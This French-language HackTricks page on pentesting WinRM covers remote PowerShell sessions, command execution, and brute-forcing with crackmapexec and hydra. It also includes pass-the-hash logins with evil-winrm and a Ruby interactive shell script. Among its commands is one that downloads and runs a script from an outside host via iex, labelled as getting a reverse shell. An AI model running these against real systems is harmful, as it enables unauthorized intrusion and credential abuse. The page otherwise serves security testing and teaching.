# 5985,5986 - Pentesting WinRM {{#include ../banners/hacktricks-training.md}} ## WinRM [Windows Remote Management (WinRM)]() est mis en avant comme un **protocole de Microsoft** qui permet la **gestion à distance des systèmes Windows** via HTTP(S), en utilisant SOAP dans le processus. Il est fondamentalement alimenté par WMI, se présentant comme une interface basée sur HTTP pour les opérations WMI. La présence de WinRM sur une machine permet une administration à distance simple via PowerShell, semblable à la façon dont SSH fonctionne pour d'autres systèmes d'exploitation. Pour déterminer si WinRM est opérationnel, il est recommandé de vérifier l'ouverture de ports spécifiques : - **5985/tcp (HTTP)** - **5986/tcp (HTTPS)** Un port ouvert de la liste ci-dessus signifie que WinRM a été configuré, permettant ainsi des tentatives d'initiation d'une session à distance. ### **Initiation d'une session WinRM** Pour configurer PowerShell pour WinRM, le cmdlet `Enable-PSRemoting` de Microsoft entre en jeu, configurant l'ordinateur pour accepter des commandes PowerShell à distance. Avec un accès PowerShell élevé, les commandes suivantes peuvent être exécutées pour activer cette fonctionnalité et désigner n'importe quel hôte comme de confiance : ```bash Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` Cette approche implique d'ajouter un caractère générique à la configuration `trustedhosts`, une étape qui nécessite une considération prudente en raison de ses implications. Il est également noté qu'il pourrait être nécessaire de modifier le type de réseau de "Public" à "Work" sur la machine de l'attaquant. De plus, WinRM peut être **activé à distance** en utilisant la commande `wmic`, comme démontré ci-dessous : ```bash wmic /node: process call create "powershell enable-psremoting -force" ``` Cette méthode permet la configuration à distance de WinRM, améliorant la flexibilité dans la gestion des machines Windows à distance. ### Tester si configuré Pour vérifier la configuration de votre machine d'attaque, la commande `Test-WSMan` est utilisée pour vérifier si la cible a WinRM configuré correctement. En exécutant cette commande, vous devriez vous attendre à recevoir des détails concernant la version du protocole et le wsmid, indiquant une configuration réussie. Voici des exemples démontrant la sortie attendue pour une cible configurée par rapport à une non configurée : - Pour une cible qui **est** correctement configurée, la sortie ressemblera à ceci : ```bash Test-WSMan ``` La réponse doit contenir des informations sur la version du protocole et wsmid, signifiant que WinRM est configuré correctement. ![](<../images/image (582).png>) - En revanche, pour une cible **non** configurée pour WinRM, cela ne donnerait pas d'informations aussi détaillées, soulignant l'absence d'une configuration WinRM appropriée. ![](<../images/image (458).png>) ### Exécuter une commande Pour exécuter `ipconfig` à distance sur une machine cible et voir sa sortie, faites : ```bash Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username] ``` ![](<../images/image (151).png>) Vous pouvez également **exécuter une commande de votre console PS actuelle via** _**Invoke-Command**_. Supposons que vous ayez localement une fonction appelée _**enumeration**_ et que vous souhaitiez **l'exécuter sur un ordinateur distant**, vous pouvez faire : ```bash Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"] ``` ### Exécuter un script ```bash Invoke-Command -ComputerName -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta] ``` ### Obtenir un reverse-shell ```bash Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"} ``` ### Obtenir une session PS Pour obtenir un shell PowerShell interactif, utilisez `Enter-PSSession`: ```bash #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) $creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password) # Enter Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username] ## Bypass proxy Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) # Save session in var $sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) Enter-PSSession $sess ## Background current PS session Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...) ``` ![](<../images/image (1009).png>) **La session s'exécutera dans un nouveau processus (wsmprovhost) à l'intérieur de la "victime"** ### **Forcer l'ouverture de WinRM** Pour utiliser PS Remoting et WinRM mais que l'ordinateur n'est pas configuré, vous pouvez l'activer avec : ```bash .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force" ``` ### Sauvegarde et restauration des sessions Cela **ne fonctionnera pas** si la **langue** est **contraignante** sur l'ordinateur distant. ```bash #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) $creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password) #You can save a session inside a variable $sess1 = New-PSSession -ComputerName [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)] #And restore it at any moment doing Enter-PSSession -Session $sess1 ``` Dans ces sessions, vous pouvez charger des scripts PS en utilisant _Invoke-Command_. ```bash Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1 ``` ### Erreurs Si vous trouvez l'erreur suivante : `enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.` Essayez sur le client (info de [ici](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)): ```ruby winrm quickconfig winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' ``` ## Connexion WinRM sous Linux ### Force brute Soyez prudent, le brute-forcing de winrm pourrait bloquer les utilisateurs. ```ruby #Brute force crackmapexec winrm -d -u usernames.txt -p passwords.txt #Just check a pair of credentials # Username + Password + CMD command execution crackmapexec winrm -d -u -p -x "whoami" # Username + Hash + PS command execution crackmapexec winrm -d -u -H -X '$PSVersionTable' #Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm ``` ### Utilisation d'evil-winrm ```ruby gem install evil-winrm ``` Lisez la **documentation** sur son github : [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) ```ruby evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i / ``` Pour utiliser evil-winrm pour se connecter à une **adresse IPv6**, créez une entrée dans _**/etc/hosts**_ en attribuant un **nom de domaine** à l'adresse IPv6 et connectez-vous à ce domaine. ### Passer le hash avec evil-winrm ```ruby evil-winrm -u -H -i ``` ![](<../images/image (680).png>) ### Utilisation d'une machine PS-docker ``` docker run -it quickbreach/powershell-ntlm $creds = Get-Credential Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds ``` ### Utilisation d'un script ruby **Code extrait d'ici :** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/) ```ruby require 'winrm-fs' # Author: Alamot # To upload a file type: UPLOAD local_path remote_path # e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt # https://alamot.github.io/winrm_shell/ conn = WinRM::Connection.new( endpoint: 'https://IP:PORT/wsman', transport: :ssl, user: 'username', password: 'password', :no_ssl_peer_verification => true ) class String def tokenize self. split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/). select {|s| not s.empty? }. map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')} end end command="" file_manager = WinRM::FS::FileManager.new(conn) conn.shell(:powershell) do |shell| until command == "exit\n" do output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')") print(output.output.chomp) command = gets if command.start_with?('UPLOAD') then upload_command = command.tokenize print("Uploading " + upload_command[1] + " to " + upload_command[2]) file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path| puts("#{bytes_copied} bytes of #{total_bytes} bytes copied") end command = "echo `nOK`n" end output = shell.run(command) do |stdout, stderr| STDOUT.print(stdout) STDERR.print(stderr) end end puts("Exiting with code #{output.exitcode}") end ``` ## Shodan - `port:5985 Microsoft-HTTPAPI` ## Références - [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/) ## Commandes Automatiques HackTricks ``` Protocol_Name: WinRM #Protocol Abbreviation if there is one. Port_Number: 5985 #Comma separated if there is more than one. Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for WinRM Note: | Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI. sudo gem install winrm winrm-fs colorize stringio git clone https://github.com/Hackplayers/evil-winrm.git cd evil-winrm ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’ https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/ ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/ ^^so you can upload binary's from that directory or -s to upload scripts (sherlock) menu invoke-binary `tab` #python3 import winrm s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret')) print(s.run_cmd('ipconfig')) print(s.run_ps('ipconfig')) https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html Entry_2: Name: Hydra Brute Force Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP} ``` {{#include ../banners/hacktricks-training.md}}